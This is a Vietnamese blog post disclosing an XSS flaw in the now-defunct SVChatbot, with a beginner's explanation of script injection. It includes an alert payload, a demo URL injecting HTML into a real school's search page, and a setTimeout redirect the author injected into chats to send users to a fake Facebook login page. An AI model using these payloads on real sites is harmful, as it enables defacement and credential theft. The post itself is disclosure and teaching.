16 September, 2018

#18: Lỗ hổng bảo mật của SVChatbot

#18: Lỗ hổng bảo mật của SVChatbot
Available in:
 Vietnamese
Reading time: 3 min.
Table of content

    Cũng lâu rồi mình mới có lại động lực để viết blog. Gần đây có 2 sự kiện đem lại nguồn cảm hứng lớn cho mình, đó là việc CNH Spotlight ra mắt ban Admin – điều mình hằng mong ước khi còn ở CNH. Và sự kiện thứ 2 cũng ko kém phần quan trọng, đó là mình quay trở lại với CTF (1 dạng bài tập hack), sau hơn 1 năm bỏ bẵng.

    Tiếp tục với chủ đề chính. Lỗ hổng này thực chất được mình tìm ra và báo cáo vào ngày 05/02/2018, khá là lâu rồi. Tuy bên admin của SVChatbot có hứa sẽ thông báo lại ngay sau khi lỗ hổng được vá, nhưng mình cũng chưa nhận đc phản hồi gì, và mình tin là thực tế nó chưa đc sửa.

    Hiện tại SVChatbot đã ngừng hoạt động, vậy nên mình mới quyết định public lỗ hổng này. Tuy còn nhiều lỗ hổng của chatbot, cũng như website khác mà mình đã từng khám phá ra, nhưng mình sẽ cân nhắc và viết bài giới thiệu từ từ, các bạn nhớ đón xem nhé 😉

    Lỗ hổng XSS – Cross-Site Scripting

    Đây có lẽ là lỗ hổng ngớ ngẩn nhất, vì tính phổ cập của nó.

    Mình đã từng tìm thấy nó trong web của nhiều trường học, BAO GỒM CẢ WEB TRƯỜNG THPT CHUYÊN NGUYỄN HUỆ.

    Giờ hãy tưởng tượng bạn lập trình 1 trang web, bạn sẽ làm như thế này:

    <p>
      Xin chào, <b>Nui</b>
    </p>
    

    OK, trang web hiện ra như bạn mong muốn – với chữ Nui in đậm

    Bây giờ, bạn muốn trang web hiện tên người truy cập thay vì Nui.. Vậy bạn sẽ phải làm 1 cái đại loại như thế này…

    <p>Xin chào, <b>{{my\_name}}</b></p>
    

    Bây giờ bạn cần chỉ cho máy rằng my_name = “Chatbot” chẳng hạn, và máy sẽ tự thay {{my\_name}} bằng Chatbot

    <p>
      Xin chào, <b>Chatbot</b>
    </p>
    

    Vẫn ổn phải ko? Vậy vấn đề ở đâu? Giờ có 1 người dùng ko tốt bụng lắm, thay vì viết tên họ, họ lại viết my_name \= “<script>alert(“hacked!”);</script>”. Như vậy, máy tính sẽ viết thành

    <p>
      Xin chào,{' '}
      <b>
        <script>alert(“hacked!”);</script>
      </b>
    </p>
    

    Và như vậy, khi “vẽ” trang web ra màn hình, nó sẽ “nghĩ là” đoạn <script> kia là javascript thật, và chứ thế mà chạy thôi.

    Demo lỗ hổng trên web trường: http://chuyennguyenhue.edu.vn/tim-kiem/?q=%22%3E%3Cfont+style%3D%22font-size%3A18em%3Bposition%3Afixed%3Bleft%3A0%3Btop%3A0%3Bz-index%3A1000%3Bbackground%3Awhite%22%3Ehello+%C4%91%C3%A2y+l%C3%A0+nui%3C%2Ffont%3E%3C%21–&s

    Áp dụng

    Giờ bạn đã có thể chèn 1 đoạn mã javascript bất kỳ vào trang web (gọi là inject), tức bạn có thể sửa cái gì trong trang web cũng đc. Ở ví dụ của SVChatbot, mình chỉ đơn giản thêm 1 câu lệnh sau:

    setTimeout(function(){window.location.href=”[https://nui](https://www.google.com/url?q=https://nui&sa=D&ust=1541721896717000). isweb. site/ztemp”, 1000);
    

    Đoạn code trên được inject vào phần có dạng <khung chat>nội dung chat</khung chat>. Nó chỉ đơn giản hướng dẫn máy chuyển sang trang web https://ngxson.com/ztemp, vốn là 1 trang giả mạo màn hình đăng nhập của facebook (gọi là phishing / hiện tại mình đã xóa trang này).

    Các bạn ko biết thì sẽ nhập email và pass facebook vào đó, và mình sẽ ngay lập tức đọc đc 😀

    Lời kết

    Lập trình ra một phần mềm, để làm nó chạy thì dễ, nhưng để làm nó tối ưu thì mới là một bài toán phức tạp.

    Bài toán tối ưu không bao giờ có lời giải đúng, nó chỉ có lời giải tối ưu.

    Mình mong các bạn trẻ đang có đam mê với lập trình, đặc biệt là những bạn sẽ hoạt động cho CNH Spotlight, hãy luôn ghi nhớ điều này.

    Marseille, 09/2018

    Want to receive latest articles from my blog?